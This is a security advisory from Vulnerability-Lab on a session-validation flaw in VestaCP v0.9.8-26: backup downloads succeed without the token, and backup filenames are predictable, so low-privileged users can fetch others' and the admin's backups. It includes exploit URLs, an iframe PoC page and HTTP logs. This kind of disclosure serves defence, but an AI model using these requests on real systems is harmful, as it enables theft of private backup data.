Document Title:
===============
VestaCP v0.9.8-26 - Session Validation Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2238


Release Date:
=============
2020-11-25


Vulnerability Laboratory ID (VL-ID):
====================================
2238


Common Vulnerability Scoring System:
====================================
7


Vulnerability Class:
====================
Insufficient Session Validation


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Web interface is open source php and javascript interface based on Vesta open API, it uses 381 vesta CLI calls. 
The GNU General Public Licence is a free, copyleft licence for software and other kinds of works. Its free to change, 
modify and redistribute source code.

(Copy of the Homepage: https://vestacp.com/features/ &  https://vestacp.com/install/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a insufficient session validation vulnerability in the VestaCP v0.9.8-26 hosting web-application.


Affected Product(s):
====================
Vesta
Product: VestaCP v0.9.8-26 - Hosting Control Panel (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-04: Researcher Notification & Coordination (Security Researcher)
2020-05-05: Vendor Notification (Security Department)
2020-05-07: Vendor Response/Feedback (Security Department)
2020-**-**: Vendor Fix/Patch (Service Developer Team)
2020-**-**: Security Acknowledgements (Security Department)
2020-11-25: Public Disclosure (Vulnerability Laboratory)



Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
An insufficient session validation vulnerability has been discovered in the official VestaCP (Control Panel) v0.9.8-26 hosting web-application.
The vulnerability allows remote attackers to gain sensitive web-application data or information without permission, authentication or authorization.

The backup url includes a token parameter for the download request on backups. The mechanism is to secure that other users can only download the 
backup with the token to confirm the permission. The token is not required for the download and can be deattached in the client-side session request.
The session validation of the backup download request is insufficient validating the request without token parameter approval. Next to that the backup 
uses the name of the privileges in combination with the date in a tar compressed folder. Thus allows a remote attacker with low user privileges to 
download the backup data without permission.

Successful exploitation of the session web vulnerability results in information disclosure of the local application and dbms backup files.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] /download/backup/

Vulnerable Parameter(s):
[+] token

Affected Parameter(s):
[+] backup


Proof of Concept (PoC):
=======================
The insufficient session validation vulnerability can be exploited by remote attackers with simple user privileges without user interaction.
For security demonstration or to reproduce the information disclosure issue follow the provided information and steps below to continue.


Request: Default (Download Backup)
https://vestacp.localhost:8083/download/backup/?backup=user.2020-04-28_00-00-17.tar&token=d6f4a3a923ab5c60ef0a52995245a3d4
https://vestacp.localhost:8083/download/backup/?backup=admin.2020-04-28_00-00-17.tar&token=d6f4a3a923ab5c60ef0a52995245a3d4


PoC: Exploitation
https://vestacp.localhost:8083/download/backup/?backup=[USER/ADMIN].[YYYY-MM-DD_HH-MM-SS].tar
https://vestacp.localhost:8083/download/backup/?backup=user.2020-04-28_00-00-17.tar
https://vestacp.localhost:8083/download/backup/?backup=admin.2020-04-28_00-00-17.tar


PoC: Exploit
<html>
<head><body>
<title>VestaCP (Control Panel) v0.9.8-26 - Information Disclosure (Backup)</title>
<iframe src=https://vestacp.localhost:8083/download/backup/?backup=[USER/ADMIN].[YYYY-MM-DD_HH-MM-SS].tar>
</body></head>
<html>


--- PoC Session Logs [GET] ---
https://vestacp.localhost:8083/download/backup/?backup=user.2020-**-**_00-00-17.tar
Host: vestacp.localhost:8083
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=4neq25hga91vqrf4maktd4q073;
-
GET: HTTP/1.1 200 OK
Server: nginx
Content-Type: application/gzip
Content-Length: 3891200
Connection: keep-alive
Content-Disposition: attachment; filename="user.2020-**-**_00-00-17.tar";
Accept-Ranges: bytes


Reference(s):
https://vestacp.localhost:8083/
https://vestacp.localhost:8083/download/
https://vestacp.localhost:8083/download/backup/
https://vestacp.localhost:8083/download/backup/?backup


Security Risk:
==============
The security risk of the session validation web vulnerability in the vestacp web-application is estimated as high.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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